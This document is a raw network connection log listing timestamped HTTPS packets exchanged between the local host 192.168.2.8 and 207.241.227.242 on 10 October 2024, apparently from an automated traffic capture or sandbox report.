Oct 10, 2024 09:29:01.771713972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.771836042 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.771866083 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.771914005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.787347078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.787377119 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.787477016 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.787509918 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.787580013 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.801268101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801295042 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801367044 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.801397085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801584005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.801590919 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801603079 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801650047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.801651001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801675081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.801714897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.801733017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802001953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802022934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802071095 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802083969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802124023 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802500010 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802524090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802566051 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802575111 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802599907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802611113 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802901983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802922964 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.802975893 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.802982092 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.803019047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.803276062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.803293943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.803344965 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.803350925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.803411961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.860382080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.860415936 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.860548973 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.860579014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.860627890 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.876013994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.876051903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.876216888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.876246929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.876296997 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.890254021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890285969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890429020 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.890460014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890506983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.890711069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890733957 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890780926 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.890788078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.890820026 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891122103 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891143084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891190052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891196966 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891228914 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891402960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891417027 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891467094 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891474009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891509056 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891642094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891658068 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891705990 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.891711950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.891743898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.892060995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.892081976 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.892115116 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.892121077 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.892144918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.892163038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.949018002 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.949043036 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.949099064 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.949129105 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.949142933 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.949167967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.964656115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.964682102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.964778900 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.964807987 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.964845896 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.978759050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.978792906 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.978920937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.978941917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.978979111 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.979130983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979146957 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979190111 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.979198933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979235888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.979553938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979572058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979605913 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.979619026 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.979640961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.979657888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980043888 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980067015 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980099916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980108023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980130911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980151892 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980407953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980427980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980468988 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980475903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980505943 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980801105 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980819941 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980866909 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.980874062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.980911970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.037656069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.037684917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.037776947 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.037808895 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.037857056 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.053415060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.053446054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.053678036 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.053709030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.053757906 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.067658901 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067692995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067781925 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.067828894 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067845106 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067871094 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.067878962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067893028 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.067904949 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.067944050 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.068342924 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068361044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068403959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.068417072 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068428993 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.068453074 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.068706989 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068723917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068774939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.068783998 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.068836927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069221020 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069238901 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069282055 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069288015 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069314003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069334030 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069413900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069431067 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069470882 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069477081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.069499969 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.069521904 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.126317978 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.126347065 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.126415014 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.126454115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.126468897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.126493931 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.142199039 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.142225027 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.142277002 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.142308950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.142324924 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.142348051 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156270027 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156296015 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156358957 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156393051 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156441927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156476021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156491041 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156533957 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156539917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156575918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156800032 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156815052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156852961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156858921 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.156888008 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.156909943 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.157267094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157282114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157320976 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.157327890 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157439947 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.157670975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157687902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157726049 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.157732010 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.157754898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.157776117 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.158056021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.158075094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.158102989 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.158107996 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.158134937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.158150911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.381777048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.381804943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.381908894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.381938934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.381957054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.381978035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.381983042 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.381989002 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382018089 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382041931 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382138014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382153988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382186890 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382193089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382216930 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382230997 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382512093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382528067 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382565022 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382570982 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382607937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382802010 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382817030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382859945 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.382867098 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.382924080 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383116007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383131981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383183956 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383191109 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383224010 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383378029 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383407116 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383430958 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383438110 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383460045 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383476973 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383560896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383577108 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383620024 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.383625984 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.383656979 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386315107 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386338949 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386396885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386418104 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386430979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386450052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386456966 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386464119 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386493921 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386518955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386522055 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386528969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386564016 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386564016 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386588097 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.386612892 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.386629105 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387041092 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387062073 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387096882 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387104988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387128115 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387145996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387419939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387438059 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387479067 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387485981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387510061 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387526035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387528896 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387536049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387552977 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387572050 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387577057 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387604952 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387623072 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387631893 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387645006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387670994 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387675047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.387702942 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.387720108 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.388221025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.388242960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.388289928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.388298035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.388333082 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.392359018 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.392384052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.392482996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.392503023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.392543077 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.408324957 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.408356905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.408485889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.408519030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.408562899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.422210932 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422244072 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422360897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.422398090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422451019 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.422621965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422643900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422698021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.422705889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.422741890 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.423049927 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423069000 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423120022 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.423131943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423168898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.423350096 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423367023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423409939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.423417091 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423453093 CEST	49706	443	192.168.2.8	207.241.227.242
